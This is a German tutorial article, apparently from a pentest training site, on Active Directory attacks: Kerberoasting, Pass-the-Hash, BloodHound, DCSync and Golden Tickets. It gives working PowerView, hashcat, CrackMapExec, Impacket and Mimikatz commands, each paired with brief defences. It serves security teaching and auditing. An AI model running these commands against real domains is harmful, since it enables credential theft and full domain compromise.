Active Directory Angriffe erklärt: Kerberoasting, BloodHound und DCSync

Active Directory (AD) ist das Herzstück der IT-Infrastruktur in deutschen Unternehmen. Banken, Behörden, Industrieunternehmen — nahezu jede Organisation mit mehr als 50 Mitarbeitern nutzt AD zur Verwaltung von Benutzern, Computern und Zugriffsrechten.

Für Angreifer ist Domain Admin-Zugriff das Endziel eines jeden Unternehmensangriffs — und für Pentester ist das Verständnis dieser Techniken essentiell. Gleichzeitig sind die gleichen Tools und Techniken die besten defensiven Audit-Werkzeuge.

Active Directory Grundlagen für Pentester

Schlüsselkonzepte

• Domain Controller (DC): Der Server, der AD verwaltet und Kerberos-Tickets ausstellt
• LDAP: Das Protokoll zum Abfragen von AD-Objekten (User, Gruppen, Computer)
• Kerberos: Das Standard-Authentifizierungsprotokoll in AD-Umgebungen
• NTLM: Älteres Authentifizierungsprotokoll, noch immer in vielen Umgebungen aktiv
• SPNs (Service Principal Names): Kennzeichen von Diensten, die Kerberos-Authentifizierung nutzen

Enumeration: Der erste Schritt

Vor jedem Angriff steht Reconnaissance. Mit einem Domain-Benutzer-Account:

# PowerView (PowerShell-Tool)
Import-Module .\PowerView.ps1
Get-NetDomain                    # Domain-Informationen
Get-NetUser | select cn,description  # Alle User mit Beschreibungen
Get-NetGroup "Domain Admins"     # Domain Admin Mitglieder
Get-NetComputer                  # Alle Computer im Netzwerk
Find-LocalAdminAccess            # Wo haben wir lokale Admin-Rechte?

Kerberoasting

Wie es funktioniert

Jeder Domain-Benutzer kann Service Tickets für Dienste mit SPNs anfordern. Diese Tickets werden mit dem NTLM-Hash des Service-Accounts verschlüsselt. Offline-Cracking ist möglich — und erzeugt dabei keine verdächtige Netzwerkaktivität (nur einen normalen Kerberos-Request).

# Alle kerberoasbaren Service-Accounts finden und Tickets abrufen
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | % { $_.Hash }

# Offline-Cracking mit Hashcat
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

Schutz: Managed Service Accounts (gMSA) verwenden, starke (>25 Zeichen) Passwörter für Service-Accounts, regelmäßige Rotation.

Pass-the-Hash (PtH)

NTLM-Hashes können direkt für Authentifizierung verwendet werden — kein Klartextpasswort notwendig. Besonders gefährlich bei wiederverwendeten lokalen Administrator-Passwörtern.

# CrackMapExec: PtH gegen ganzes Netzwerksegment
crackmapexec smb 10.10.10.0/24 -u administrator -H <NTLM-Hash>
# Impacket psexec
psexec.py administrator@10.10.10.x -hashes :<NTLM-Hash>

Schutz: LAPS (Local Administrator Password Solution) — jeder Computer bekommt ein zufälliges lokales Admin-Passwort.

BloodHound: AD-Angriffspfade visualisieren

BloodHound ist das mächtigste AD-Analyse-Tool — sowohl für Angreifer als auch für Defender. Es kartiert Beziehungen in AD und findet Angriffspfade zu Domain Admin.

# SharpHound (Collector) auf einem Domain-Computer ausführen
.\SharpHound.exe -c All
# ZIP-Datei in BloodHound importieren
# Vordefinierten Queries nutzen: "Shortest Path to Domain Admins"

BloodHound zeigt grafisch, wie ein kompromittierter normaler Benutzer über Gruppen-Mitgliedschaften, ACL-Berechtigungen oder Delegation-Einstellungen zu Domain Admin eskalieren kann.

Defensiv nutzen: Sicherheitsteams verwenden BloodHound zur proaktiven Identifikation überprivilegierter Konten und riskanter Berechtigungspfade.

DCSync

Mit Domain Replication-Berechtigungen (typisch für Domain Admins) kann ein Angreifer den Domain Controller täuschen, als wäre er ein anderer DC, und NTLM-Hashes aller Domain-Accounts herunterladen — inklusive krbtgt (für Golden Tickets).

# Impacket secretsdump
secretsdump.py 'domain/administrator:password@dc-ip'
# Mimikatz
lsadump::dcsync /user:krbtgt

Schutz: Replication-Berechtigungen nur für echte DCs, keine über-privilegierten regulären Accounts.

Golden Ticket

Mit dem NTLM-Hash des krbtgt-Accounts (aus DCSync) können beliebige Kerberos-Tickets gefälscht werden — für jeden User, jede Gruppe, unbegrenzte Gültigkeit.

# Mimikatz
kerberos::golden /user:fake_admin /domain:corp.de /sid:<DOMAIN-SID> /krbtgt:<HASH> /ticket:golden.kirbi

Ein Golden Ticket gibt dauerhaften Zugriff auf das gesamte AD — auch nach Passwortänderungen des kompromittierten Accounts. Gegenmaßnahme: krbtgt-Passwort zweimal zurücksetzen (aufgrund der History-Funktion).

Lernressourcen für AD-Pentesting

• TryHackMe: Rooms "Active Directory Basics", "Attacktive Directory", "Post-Exploitation Basics"
• HackTheBox Pro Labs: Offshore und RastaLabs — realistische AD-Umgebungen
• TCM Security: Praktischer Active Directory Kurs (bezahlt)
• PayloadsAllTheThings: AD-Angriffs-Referenz auf GitHub

Verbinden Sie AD-Pentesting mit den Grundlagen aus den kostenlosen Pentevo-Kursen — Netzwerksicherheit und Zugriffskontrollen sind CEH-Kernthemen.